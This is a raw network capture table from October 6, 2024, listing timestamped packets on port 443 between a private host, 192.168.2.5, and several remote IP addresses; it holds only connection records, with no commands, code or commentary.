Oct 6, 2024 14:08:23.547785044 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.553962946 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554043055 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554064035 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554084063 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554096937 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.554107904 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554130077 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554137945 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.554153919 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554176092 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.554177999 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554203033 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.554208040 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.554223061 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.565093040 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.565133095 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.565191031 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.565545082 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.565561056 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.566199064 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.566239119 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.566287994 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.566643000 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.566658974 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.567960024 CEST	49751	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.567975998 CEST	443	49751	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.608143091 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.608160973 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.608186960 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.608196974 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.608206987 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.608216047 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.608222008 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.608242989 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.608302116 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.608302116 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.612400055 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.612423897 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.612441063 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.612474918 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.612485886 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.612505913 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.612512112 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.612524986 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.612540007 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.612555981 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.612556934 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.614125967 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.614136934 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.625237942 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.625286102 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.625305891 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.625327110 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.625344992 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.625365973 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.625386000 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.625396013 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.625412941 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.625416040 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.625452042 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.625467062 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.628124952 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.628158092 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.628333092 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.629282951 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.629298925 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.640397072 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.640638113 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.640655041 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.641108036 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.641640902 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.641711950 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.641869068 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.654263020 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.654468060 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.654479980 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.656008959 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.656168938 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.656518936 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.656518936 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.656531096 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.656608105 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.678742886 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.678788900 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.678837061 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.678853989 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.678883076 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.679248095 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.682914972 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.682961941 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.683044910 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.683063030 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.683063030 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.683072090 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.683099985 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.687412024 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.694250107 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.694261074 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.694286108 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.694293976 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.694313049 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.694339991 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.694374084 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.694540024 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.694549084 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.694607019 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.694607973 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.694619894 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.695724964 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.695756912 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.695769072 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.695807934 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.695817947 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.695842981 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.695856094 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.696013927 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.696988106 CEST	49750	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.697001934 CEST	443	49750	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.698537111 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.698543072 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.745383978 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.768547058 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.768606901 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.768656015 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.768682957 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.768693924 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.770311117 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.770332098 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.770375013 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.770394087 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.770412922 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.770423889 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.770432949 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.770447016 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.772138119 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.772185087 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.772226095 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.772233009 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.772254944 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.806691885 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.806714058 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.806802034 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.806802034 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.806816101 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.840292931 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.859100103 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.859162092 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.859209061 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.859224081 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.859249115 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.859319925 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.859472990 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.859488010 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.860013008 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.860754013 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.860778093 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.860820055 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.860860109 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.860860109 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.860869884 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.860898972 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.861059904 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.861162901 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.861219883 CEST	49752	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.861234903 CEST	443	49752	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.959675074 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.959788084 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.959959030 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.960755110 CEST	49755	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:23.960767984 CEST	443	49755	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:23.969120979 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.969147921 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.969156027 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.969189882 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.969208002 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.969218016 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.969264984 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.969301939 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:23.969321966 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.969588041 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:23.969918966 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.970436096 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.970459938 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.970810890 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.971297979 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:23.971369028 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:23.971451998 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.010313034 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.010401964 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.010437965 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.010515928 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.012706995 CEST	49754	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.012728930 CEST	443	49754	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.015408993 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.017584085 CEST	49765	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.017613888 CEST	443	49765	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.017730951 CEST	49765	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.018062115 CEST	49765	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.018069983 CEST	443	49765	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.036516905 CEST	49766	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.036565065 CEST	443	49766	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.036683083 CEST	49766	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.038630009 CEST	49766	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.038657904 CEST	443	49766	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.039532900 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.039539099 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.039556026 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.039577961 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.040735006 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.040736914 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.041043997 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.041062117 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.041177988 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.041188955 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.042982101 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.043005943 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.043363094 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.045346022 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.045346022 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.045357943 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.045371056 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.047758102 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.048015118 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.048024893 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.130822897 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.131591082 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.131616116 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.131983042 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.132603884 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.132603884 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.132699013 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.165782928 CEST	49773	443	192.168.2.5	2.19.126.133
Oct 6, 2024 14:08:24.165812969 CEST	443	49773	2.19.126.133	192.168.2.5
Oct 6, 2024 14:08:24.170284033 CEST	49773	443	192.168.2.5	2.19.126.133
Oct 6, 2024 14:08:24.170284033 CEST	49773	443	192.168.2.5	2.19.126.133
Oct 6, 2024 14:08:24.170324087 CEST	443	49773	2.19.126.133	192.168.2.5
Oct 6, 2024 14:08:24.171999931 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.172251940 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.172262907 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.172739029 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.173216105 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.173216105 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.173301935 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.175937891 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.206953049 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.207483053 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.207510948 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.208611965 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.209207058 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.209207058 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.209223986 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.209378004 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.222364902 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.229629993 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.229891062 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.229918957 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.230262041 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.230758905 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.230758905 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.230777025 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.230827093 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.254241943 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.259047985 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.259078979 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.259119034 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.259198904 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.259248018 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.259248018 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.259319067 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.261734009 CEST	49756	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.261753082 CEST	443	49756	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.282387972 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.296911955 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.298628092 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.298655987 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.300127983 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.300561905 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.300561905 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.300647974 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.321527004 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.321551085 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.367645979 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.450005054 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.450037003 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.450043917 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.450056076 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.450076103 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.450269938 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.450300932 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.450361967 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.474601984 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.474673033 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.475507021 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.475716114 CEST	49761	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.475735903 CEST	443	49761	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.479480028 CEST	49776	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.479522943 CEST	443	49776	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.479756117 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.479785919 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.479795933 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.479827881 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.479855061 CEST	49776	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.479870081 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.479912043 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.480081081 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.480504990 CEST	49776	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.480526924 CEST	443	49776	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.484399080 CEST	49759	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.484421968 CEST	443	49759	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.494734049 CEST	49777	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.494760990 CEST	443	49777	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.494899035 CEST	49777	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.496206045 CEST	49777	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.496220112 CEST	443	49777	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.504419088 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.504460096 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.504502058 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.504530907 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.504564047 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.504652023 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.505487919 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.505758047 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.505788088 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.506094933 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.506521940 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.506521940 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.506536961 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.506592989 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.508583069 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.508599997 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.508694887 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.508718967 CEST	443	49758	2.19.126.97	192.168.2.5
